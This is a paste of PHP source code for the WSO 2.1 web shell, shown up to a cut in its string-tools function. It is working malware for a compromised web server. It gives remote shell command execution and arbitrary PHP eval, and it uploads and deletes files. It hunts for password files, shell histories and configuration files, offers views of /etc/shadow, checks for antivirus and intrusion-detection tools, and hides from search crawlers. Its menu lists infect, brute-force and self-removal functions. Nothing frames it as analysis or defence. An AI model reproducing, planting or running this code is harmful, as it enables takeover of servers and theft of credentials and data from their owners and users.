· 9 years ago · Aug 25, 2017, 10:04 AM
1<?php
2/* WSO 2.1 (Web Shell by oRb) */
3// 7719f1e81b76ef1409b07dbca07bff4d
4$auth_pass = "";
5$color = "#df5";
6$default_action = 'FilesMan';
7@define('SELF_PATH', __FILE__);
8if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
9 header('HTTP/1.0 404 Not Found');
10 exit;
11}
12@session_start();
13@error_reporting(0);
14@ini_set('error_log',NULL);
15@ini_set('log_errors',0);
16@ini_set('max_execution_time',0);
17@set_time_limit(0);
18@set_magic_quotes_runtime(0);
19@define('VERSION', '2.1');
20if( get_magic_quotes_gpc() ) {
21 function stripslashes_array($array) {
22 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
23 }
24 $_POST = stripslashes_array($_POST);
25}
26function printLogin() {
27 ?>
28 <center>
29 <form method=post>
30 Password: <input type=password name=pass><input type=submit value='>>'>
31 </form></center>
32 <?php
33 exit;
34}
35if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
36 if( empty( $auth_pass ) ||
37 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
38 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
39 else
40 printLogin();
41
42if( strtolower( substr(PHP_OS,0,3) ) == "win" )
43 $os = 'win';
44else
45 $os = 'nix';
46$safe_mode = @ini_get('safe_mode');
47$disable_functions = @ini_get('disable_functions');
48$home_cwd = @getcwd();
49if( isset( $_POST['c'] ) )
50 @chdir($_POST['c']);
51$cwd = @getcwd();
52if( $os == 'win') {
53 $home_cwd = str_replace("\\", "/", $home_cwd);
54 $cwd = str_replace("\\", "/", $cwd);
55}
56if( $cwd[strlen($cwd)-1] != '/' )
57 $cwd .= '/';
58
59if($os == 'win')
60 $aliases = array(
61 "List Directory" => "dir",
62 "Find index.php in current dir" => "dir /s /w /b index.php",
63 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
64 "Show active connections" => "netstat -an",
65 "Show running services" => "net start",
66 "User accounts" => "net user",
67 "Show computers" => "net view",
68 "ARP Table" => "arp -a",
69 "IP Configuration" => "ipconfig /all"
70 );
71else
72 $aliases = array(
73 "List dir" => "ls -la",
74 "list file attributes on a Linux second extended file system" => "lsattr -va",
75 "show opened ports" => "netstat -an | grep -i listen",
76 "Find" => "",
77 "find all suid files" => "find / -type f -perm -04000 -ls",
78 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
79 "find all sgid files" => "find / -type f -perm -02000 -ls",
80 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
81 "find config.inc.php files" => "find / -type f -name config.inc.php",
82 "find config* files" => "find / -type f -name \"config*\"",
83 "find config* files in current dir" => "find . -type f -name \"config*\"",
84 "find all writable folders and files" => "find / -perm -2 -ls",
85 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
86 "find all service.pwd files" => "find / -type f -name service.pwd",
87 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
88 "find all .htpasswd files" => "find / -type f -name .htpasswd",
89 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
90 "find all .bash_history files" => "find / -type f -name .bash_history",
91 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
92 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
93 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
94 "Locate" => "",
95 "locate httpd.conf files" => "locate httpd.conf",
96 "locate vhosts.conf files" => "locate vhosts.conf",
97 "locate proftpd.conf files" => "locate proftpd.conf",
98 "locate psybnc.conf files" => "locate psybnc.conf",
99 "locate my.conf files" => "locate my.conf",
100 "locate admin.php files" =>"locate admin.php",
101 "locate cfg.php files" => "locate cfg.php",
102 "locate conf.php files" => "locate conf.php",
103 "locate config.dat files" => "locate config.dat",
104 "locate config.php files" => "locate config.php",
105 "locate config.inc files" => "locate config.inc",
106 "locate config.inc.php" => "locate config.inc.php",
107 "locate config.default.php files" => "locate config.default.php",
108 "locate config* files " => "locate config",
109 "locate .conf files"=>"locate '.conf'",
110 "locate .pwd files" => "locate '.pwd'",
111 "locate .sql files" => "locate '.sql'",
112 "locate .htpasswd files" => "locate '.htpasswd'",
113 "locate .bash_history files" => "locate '.bash_history'",
114 "locate .mysql_history files" => "locate '.mysql_history'",
115 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
116 "locate backup files" => "locate backup",
117 "locate dump files" => "locate dump",
118 "locate priv files" => "locate priv"
119 );
120
121function printHeader() {
122 if(empty($_POST['charset']))
123 $_POST['charset'] = "UTF-8";
124 global $color;
125 ?>
126<html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title>
127<style>
128 body {background-color:#444;color:#e1e1e1;}
129 body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
130 table.info { color:#fff;background-color:#222; }
131 span,h1,a { color:<?=$color?> !important; }
132 span { font-weight: bolder; }
133 h1 { border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
134 div.content { padding: 5px;margin-left:5px;background-color:#333; }
135 a { text-decoration:none; }
136 a:hover { text-decoration:underline; }
137 .ml1 { border:1px solid #444;padding:5px;margin:0;overflow: auto; }
138 .bigarea { width:100%;height:250px; }
139 input, textarea, select { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }
140 form { margin:0px; }
141 #toolsTbl { text-align:center; }
142 .toolsInp { width: 300px }
143 .main th {text-align:left;background-color:#5e5e5e;}
144 .main tr:hover{background-color:#5e5e5e}
145 .main td, th{vertical-align:middle}
146 .l1 {background-color:#444}
147 pre {font-family:Courier,Monospace;}
148</style>
149<script>
150 function set(a,c,p1,p2,p3,charset) {
151 if(a != null)document.mf.a.value=a;
152 if(c != null)document.mf.c.value=c;
153 if(p1 != null)document.mf.p1.value=p1;
154 if(p2 != null)document.mf.p2.value=p2;
155 if(p3 != null)document.mf.p3.value=p3;
156 if(charset != null)document.mf.charset.value=charset;
157 }
158 function g(a,c,p1,p2,p3,charset) {
159 set(a,c,p1,p2,p3,charset);
160 document.mf.submit();
161 }
162 function a(a,c,p1,p2,p3,charset) {
163 set(a,c,p1,p2,p3,charset);
164 var params = "ajax=true";
165 for(i=0;i<document.mf.elements.length;i++)
166 params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
167 sr('<?=$_SERVER['REQUEST_URI'];?>', params);
168 }
169 function sr(url, params) {
170 if (window.XMLHttpRequest) {
171 req = new XMLHttpRequest();
172 req.onreadystatechange = processReqChange;
173 req.open("POST", url, true);
174 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
175 req.send(params);
176 }
177 else if (window.ActiveXObject) {
178 req = new ActiveXObject("Microsoft.XMLHTTP");
179 if (req) {
180 req.onreadystatechange = processReqChange;
181 req.open("POST", url, true);
182 req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
183 req.send(params);
184 }
185 }
186 }
187 function processReqChange() {
188 if( (req.readyState == 4) )
189 if(req.status == 200) {
190 //alert(req.responseText);
191 var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
192 var arr=reg.exec(req.responseText);
193 eval(arr[2].substr(0, arr[1]));
194 }
195 else alert("Request error!");
196 }
197</script>
198<head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;">
199<form method=post name=mf style='display:none;'>
200<input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'>
201<input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
202<input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'>
203<input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'>
204<input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'>
205<input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
206</form>
207<?php
208 $freeSpace = @diskfreespace($GLOBALS['cwd']);
209 $totalSpace = @disk_total_space($GLOBALS['cwd']);
210 $totalSpace = $totalSpace?$totalSpace:1;
211 $release = @php_uname('r');
212 $kernel = @php_uname('s');
213 $millink='http://milw0rm.com/search.php?dong=';
214 if( strpos('Linux', $kernel) !== false )
215 $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );
216 else
217 $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );
218 if(!function_exists('posix_getegid')) {
219 $user = @get_current_user();
220 $uid = @getmyuid();
221 $gid = @getmygid();
222 $group = "?";
223 } else {
224 $uid = @posix_getpwuid(@posix_geteuid());
225 $gid = @posix_getgrgid(@posix_getegid());
226 $user = $uid['name'];
227 $uid = $uid['uid'];
228 $group = $gid['name'];
229 $gid = $gid['gid'];
230 }
231 $cwd_links = '';
232 $path = explode("/", $GLOBALS['cwd']);
233 $n=count($path);
234 for($i=0;$i<$n-1;$i++) {
235 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
236 for($j=0;$j<=$i;$j++)
237 $cwd_links .= $path[$j].'/';
238 $cwd_links .= "\")'>".$path[$i]."/</a>";
239 }
240 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
241 $opt_charsets = '';
242 foreach($charsets as $item)
243 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
244 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Domains'=>'Domains');
245
246 if(!empty($GLOBALS['auth_pass']))
247 $m['Logout'] = 'Logout';
248 $m['Self remove'] = 'SelfRemove';
249 $menu = '';
250 foreach($m as $k => $v)
251 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
252 $drives = "";
253 if ($GLOBALS['os'] == 'win') {
254 foreach( range('a','z') as $drive )
255 if (is_dir($drive.':\\'))
256 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
257 }
258 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.
259 '<td><nobr>'.substr(@php_uname(), 0, 120).' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[Exploit-DB]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.
260 '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.
261 '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';
262}
263
264function printFooter() {
265 $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
266?>
267</div>
268<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style="border-top:2px solid #333;border-bottom:2px solid #333;">
269 <tr>
270 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
271 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
272 </tr>
273 <tr>
274 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>
275 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>
276 </tr>
277 <tr>
278 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
279 <td><form method='post' ENCTYPE='multipart/form-data'>
280 <input type=hidden name=a value='FilesMAn'>
281 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
282 <input type=hidden name=p1 value='uploadFile'>
283 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
284 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>
285 </tr>
286
287</table>
288</div>
289</body></html>
290<?php
291}
292if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
293if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
294function ex($in) {
295 $out = '';
296 if(function_exists('exec')) {
297 @exec($in,$out);
298 $out = @join("\n",$out);
299 }elseif(function_exists('passthru')) {
300 ob_start();
301 @passthru($in);
302 $out = ob_get_clean();
303 }elseif(function_exists('system')) {
304 ob_start();
305 @system($in);
306 $out = ob_get_clean();
307 }elseif(function_exists('shell_exec')) {
308 $out = shell_exec($in);
309 }elseif(is_resource($f = @popen($in,"r"))) {
310 $out = "";
311 while(!@feof($f))
312 $out .= fread($f,1024);
313 pclose($f);
314 }
315 return $out;
316}
317function viewSize($s) {
318 if($s >= 1073741824)
319 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
320 elseif($s >= 1048576)
321 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
322 elseif($s >= 1024)
323 return sprintf('%1.2f', $s / 1024 ) . ' KB';
324 else
325 return $s . ' B';
326}
327
328function perms($p) {
329 if (($p & 0xC000) == 0xC000)$i = 's';
330 elseif (($p & 0xA000) == 0xA000)$i = 'l';
331 elseif (($p & 0x8000) == 0x8000)$i = '-';
332 elseif (($p & 0x6000) == 0x6000)$i = 'b';
333 elseif (($p & 0x4000) == 0x4000)$i = 'd';
334 elseif (($p & 0x2000) == 0x2000)$i = 'c';
335 elseif (($p & 0x1000) == 0x1000)$i = 'p';
336 else $i = 'u';
337 $i .= (($p & 0x0100) ? 'r' : '-');
338 $i .= (($p & 0x0080) ? 'w' : '-');
339 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
340 $i .= (($p & 0x0020) ? 'r' : '-');
341 $i .= (($p & 0x0010) ? 'w' : '-');
342 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
343 $i .= (($p & 0x0004) ? 'r' : '-');
344 $i .= (($p & 0x0002) ? 'w' : '-');
345 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
346 return $i;
347}
348function viewPermsColor($f) {
349 if (!@is_readable($f))
350 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
351 elseif (!@is_writable($f))
352 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
353 else
354 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
355}
356if(!function_exists("scandir")) {
357 function scandir($dir) {
358 $dh = opendir($dir);
359 while (false !== ($filename = readdir($dh))) {
360 $files[] = $filename;
361 }
362 return $files;
363 }
364}
365function which($p) {
366 $path = ex('which '.$p);
367 if(!empty($path))
368 return $path;
369 return false;
370}
371function actionSecInfo() {
372 printHeader();
373 echo '<h1>Server security information</h1><div class=content>';
374 function showSecParam($n, $v) {
375 $v = trim($v);
376 if($v) {
377 echo '<span>'.$n.': </span>';
378 if(strpos($v, "\n") === false)
379 echo $v.'<br>';
380 else
381 echo '<pre class=ml1>'.$v.'</pre>';
382 }
383 }
384
385 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
386 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
387 showSecParam('Open base dir', @ini_get('open_basedir'));
388 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
389 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
390 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
391 $temp=array();
392 if(function_exists('mysql_get_client_info'))
393 $temp[] = "MySql (".mysql_get_client_info().")";
394 if(function_exists('mssql_connect'))
395 $temp[] = "MSSQL";
396 if(function_exists('pg_connect'))
397 $temp[] = "PostgreSQL";
398 if(function_exists('oci_connect'))
399 $temp[] = "Oracle";
400 showSecParam('Supported databases', implode(', ', $temp));
401 echo '<br>';
402
403 if( $GLOBALS['os'] == 'nix' ) {
404 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
405 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
406 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
407 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
408 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
409 showSecParam('OS version', @file_get_contents('/proc/version'));
410 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
411 if(!$GLOBALS['safe_mode']) {
412 echo '<br>';
413 $temp=array();
414 foreach ($userful as $item)
415 if(which($item)){$temp[]=$item;}
416 showSecParam('Userful', implode(', ',$temp));
417 $temp=array();
418 foreach ($danger as $item)
419 if(which($item)){$temp[]=$item;}
420 showSecParam('Danger', implode(', ',$temp));
421 $temp=array();
422 foreach ($downloaders as $item)
423 if(which($item)){$temp[]=$item;}
424 showSecParam('Downloaders', implode(', ',$temp));
425 echo '<br/>';
426 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
427 showSecParam('HDD space', ex('df -h'));
428 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
429 }
430 } else {
431 showSecParam('OS Version',ex('ver'));
432 showSecParam('Account Settings',ex('net accounts'));
433 showSecParam('User Accounts',ex('net user'));
434 }
435 echo '</div>';
436 printFooter();
437}
438
439function actionPhp() {
440 if( isset($_POST['ajax']) ) {
441 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
442 ob_start();
443 eval($_POST['p1']);
444 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
445 echo strlen($temp), "\n", $temp;
446 exit;
447 }
448 printHeader();
449 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
450 echo '<h1>PHP info</h1><div class=content>';
451 ob_start();
452 phpinfo();
453 $tmp = ob_get_clean();
454 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
455 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
456 $tmp = preg_replace('!h1!msiU','h2',$tmp);
457 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
458 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
459 echo $tmp;
460 echo '</div><br>';
461 }
462 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
463 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
464 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
465 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
466 if(!empty($_POST['p1'])) {
467 ob_start();
468 eval($_POST['p1']);
469 echo htmlspecialchars(ob_get_clean());
470 }
471 echo '</pre></div>';
472 printFooter();
473}
474
475function actionFilesMan() {
476 printHeader();
477 echo '<h1>File manager</h1><div class=content>';
478 if(isset($_POST['p1'])) {
479 switch($_POST['p1']) {
480 case 'uploadFile':
481 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
482 echo "Can't upload file!";
483 break;
484 break;
485 case 'mkdir':
486 if(!@mkdir($_POST['p2']))
487 echo "Can't create new dir";
488 break;
489 case 'delete':
490 function deleteDir($path) {
491 $path = (substr($path,-1)=='/') ? $path:$path.'/';
492 $dh = opendir($path);
493 while ( ($item = readdir($dh) ) !== false) {
494 $item = $path.$item;
495 if ( (basename($item) == "..") || (basename($item) == ".") )
496 continue;
497 $type = filetype($item);
498 if ($type == "dir")
499 deleteDir($item);
500 else
501 @unlink($item);
502 }
503 closedir($dh);
504 rmdir($path);
505 }
506 if(is_array(@$_POST['f']))
507 foreach($_POST['f'] as $f) {
508 $f = urldecode($f);
509 if(is_dir($f))
510 deleteDir($f);
511 else
512 @unlink($f);
513 }
514 break;
515 case 'paste':
516 if($_SESSION['act'] == 'copy') {
517 function copy_paste($c,$s,$d){
518 if(is_dir($c.$s)){
519 mkdir($d.$s);
520 $h = opendir($c.$s);
521 while (($f = readdir($h)) !== false)
522 if (($f != ".") and ($f != "..")) {
523 copy_paste($c.$s.'/',$f, $d.$s.'/');
524 }
525 } elseif(is_file($c.$s)) {
526 @copy($c.$s, $d.$s);
527 }
528 }
529 foreach($_SESSION['f'] as $f)
530 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
531 } elseif($_SESSION['act'] == 'move') {
532 function move_paste($c,$s,$d){
533 if(is_dir($c.$s)){
534 mkdir($d.$s);
535 $h = opendir($c.$s);
536 while (($f = readdir($h)) !== false)
537 if (($f != ".") and ($f != "..")) {
538 copy_paste($c.$s.'/',$f, $d.$s.'/');
539 }
540 } elseif(is_file($c.$s)) {
541 @copy($c.$s, $d.$s);
542 }
543 }
544 foreach($_SESSION['f'] as $f)
545 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
546 }
547 unset($_SESSION['f']);
548 break;
549 default:
550 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
551 $_SESSION['act'] = @$_POST['p1'];
552 $_SESSION['f'] = @$_POST['f'];
553 foreach($_SESSION['f'] as $k => $f)
554 $_SESSION['f'][$k] = urldecode($f);
555 $_SESSION['cwd'] = @$_POST['c'];
556 }
557 break;
558 }
559 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
560 }
561 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
562 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
563 global $sort;
564 $sort = array('name', 1);
565 if(!empty($_POST['p1'])) {
566 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
567 $sort = array($match[1], (int)$match[2]);
568 }
569?>
570<script>
571 function sa() {
572 for(i=0;i<document.files.elements.length;i++)
573 if(document.files.elements[i].type == 'checkbox')
574 document.files.elements[i].checked = document.files.elements[0].checked;
575 }
576</script>
577<table width='100%' class='main' cellspacing='0' cellpadding='2'>
578<form name=files method=post>
579<?php
580 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
581 $dirs = $files = $links = array();
582 $n = count($dirContent);
583 for($i=0;$i<$n;$i++) {
584 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
585 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
586 $tmp = array('name' => $dirContent[$i],
587 'path' => $GLOBALS['cwd'].$dirContent[$i],
588 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
589 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
590 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
591 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
592 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
593 );
594 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
595 $files[] = array_merge($tmp, array('type' => 'file'));
596 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
597 $links[] = array_merge($tmp, array('type' => 'link'));
598 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
599 $dirs[] = array_merge($tmp, array('type' => 'dir'));
600 }
601 $GLOBALS['sort'] = $sort;
602 function cmp($a, $b) {
603 if($GLOBALS['sort'][0] != 'size')
604 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
605 else
606 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
607 }
608 usort($files, "cmp");
609 usort($dirs, "cmp");
610 usort($links, "cmp");
611 $files = array_merge($dirs, $links, $files);
612 $l = 0;
613 foreach($files as $f) {
614 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
615 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
616 $l = $l?0:1;
617 }
618 ?>
619 <tr><td colspan=7>
620 <input type=hidden name=a value='FilesMan'>
621 <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>
622 <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>
623 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
624 </form></table></div>
625 <?php
626 printFooter();
627}
628
629function actionStringTools() {
630 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
631 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
632 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
633 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
634
635 if(isset($_POST['ajax'])) {
636 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
637 ob_start();
638 if(function_exists($_POST['p1']))
639 echo $_POST['p1']($_POST['p2']);
